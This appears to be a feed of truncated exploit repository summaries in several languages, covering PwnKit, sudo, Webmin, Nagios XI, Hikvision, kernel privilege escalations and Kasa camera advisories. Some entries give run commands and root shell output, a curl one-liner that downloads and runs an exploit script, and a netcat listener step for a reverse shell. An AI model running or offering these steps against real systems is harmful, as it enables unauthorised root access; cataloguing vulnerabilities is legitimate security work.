CVE-2021-4034

CVE-2021-4034 エクスプロイト 使用方法 $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 暫定パッチ chmod 0755 which pkexec...

CVE-2026-31431

작성자: 0xShe 언어 / 语言 English: https://github.com/0xShe/CVE-2026-31431/blob/main/README.md 中文: https://github.com/0xShe/CVE-2026-31431/blob/main/README-CN.md CVE-2026-31431 커널 권한 상승 도구 가이드 0x01 빠른 시작 일부 대상 환경에는 Python이 설치되어 있지 않으므로 이 권한 상승 로직을 C로 다시 작성했습니다. 1. 컴파일 Linux 머신 또는 WSL에서 다음 명령을 실행합니다-stat...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 개요 Nagios XI = 5.6.5에는 공격자가 RCE를 활용하여 root로 권한을 상승시킬 수 있는 취약점이 존재합니다. 이 익스플로잇은 'nagios' 사용자로 서버에 접근할 수 있는 권한, 또는 웹 인터페이스를 통해 플러그인을 관리할 수 있는 CCM 접근 권한이 필요합니다. 세부 정보 getprofile.sh 스크립트는 시스템 프로필 다운로드profile.php?cmd=download 시 호출되며, passwordless sudo 항목을 통해 root 권한으로 실행됩니다. 이...

poc-cve-2021-4034

poc-cve-2021-4034 pwnkit と呼ばれる CVE-2021-4034 の PoC 使い方 make を実行して release フォルダを確認するだけです。あるいは、次のワンライナーがお好みなら: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 実行例 dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd Remote Authentication Bypass Seriously, telnet in 2026? Come on guys, it's time to move on. SSH exists since 1995. 🤦 Description A critical authentication bypass vulnerability in GNU Inetutils telnetd affecting versions 1.9.3 through 2.7. The vulnerability...

CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall...

CVE-2024-22274-RCE

CVE-2024-22274 Exploit This repository contains an exploit for CVE-2024-22274. The exploit creates a new user on a remote machine via SSH and then provides a root shell. Requirements Go Golang installed on your machine. You can download it from here. A remote machine with SSH access. Compilation ...

CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot Local Privilege Escalation ExploitDB ID: 52352 🧠 Overview This repository documents a critical local privilege escalation LPE vulnerability affecting Sudo versions 1.9.14 – 1.9.17. The vulnerability arises from an incorrect implementation of the sudo -R --chroot...

Offensive-lab-2

Offensive security Lab : ProFTPD 1.3.3c Backdoor Exploit Root Flag 1. Introduction and Objectives This report details the penetration test performed on a vulnerable Linux virtual machine VM, focusing on identifying a high-risk service vulnerability that allowed for immediate root access. Detail|...

CVE-2023-22809

CVE-2023-22809 참조: https://vulners.com/cve/CVE-2023-22809 익스플로잇 제목: sudo 1.8.0 - 1.9.12p1 - 권한 상승 익스플로잇 작성자: n3m1.sys CVE: CVE-2023-22809 날짜: 2023/01/21 공급업체 홈페이지: https://www.sudo.ws/ 소프트웨어 링크: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz 버전: 1.8.0 1.9.12p1 테스트 환경: Ubuntu Server 22.04 - vim...

cve-2017-11176

cve-2017-11176 Local Privilege Escalation develope on ubuntu 4.4.0-62 kernel about My first try to code my own LPE exploit. developement line c2bbad5f471ef2b112f343fde1f4e7ff94fe28d1 triger kernel uaf d2872d5c0d642e20c807a960f99d9533dde5d809 now,we can use another thread to unblock main thread...

CVE-2021-36260

Hikvision CVE-2021-36260 RCE Vulnerability Vulnerability Description Attackers can exploit this vulnerability to gain complete control over the device with an unrestricted root shell, even if the device owner is limited to a restricted protected shell psh. In addition to compromising IP cameras,...

CVE-2022-23222

CVE-2022-23222 Chinese writeup: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt For educational/research purposes only. Use at your own risk. Build & Run $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running + phase1/8 'create bpf maps'...

CVE-2021-3156

CVE-2021-3156 xchg@ubuntu:/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich CVE-2021-3156 PoC by blasty [email protected] usage: ./sudo-hax-me-a-sandwich available targets: 0 Ubuntu 20.04.1 Focal Fossa - sudo 1.8.31, libc-2.31 1 Debian 10.0 Buster - sudo 1.8.27, libc-2.28...

CVE-2023-32413

macOS LPE CVE-2023-32413 / ZDI-23-845 / Pwn2Own Vancouver 2023 exploit This is the exploit code that has been played at Pwn2Own Vancouver 2023 https://youtu.be/c0cS4R0ja-I?t=180. This code exploits CVE-2023-32413 to gain root rights on any vulnerable macOS. The vulnerability is a logic TOCTOU tha...

Webmin_CVE-2019-15107

CVE-2019–15107 - Unauthenticated RCE Webmin =1.920 This python script should give you a root shell on Webmin 1.890 Check with nmap: nmap -sC -sV -p 10000 TARGETIP Result: 10000/tcp open http MiniServ 1.890 Webmin httpd How to use this exploit: Step 1: nc -lnvp LPORT Step 2: chmod +x exploit.py...

CVE-2025-6019

CVE-2025-6019: libblockdev Local Privilege Escalation Vulnerability Summary CVE-2025-6019 is a local privilege escalation LPE vulnerability discovered in the libblockdev library, which interacts with the udisks2 daemon and Polkit. Vulnerability Description A local attacker with allowactive Polkit...

PwnTillDawn-Portal-Walkthrough

🔐 Vulnerability Assessment & Penetration Testing VAPT 📌 Project: Target Exploitation Walkthrough ⚠️ This project is for educational and authorized testing purposes only. Unauthorized access to systems is strictly prohibited. 👨‍💻 Author SYAFIQ Role: Lead Penetration Tester 🎯 Target Information...

PT-2026-104017

Name of the Vulnerable Software and Affected Versions Kasa EC70 v4 Kasa EC71 v4 Description The production debug interface is not logically disabled at the firmware or chip level, and the bootloader remains unlocked. An attacker with physical access can restore physically severed debug traces to...

CVE-2026-102370: On-Chip Debug and Test Interface With Improper Access Control

Kasa EC70 v4 and EC71 v4 do not logically disable the production debug interface at the firmware or chip level and do not lock the bootloader. Although the debug traces are physically severed during manufacturing, an attacker with physical access can restore the connection, interrupt the boot...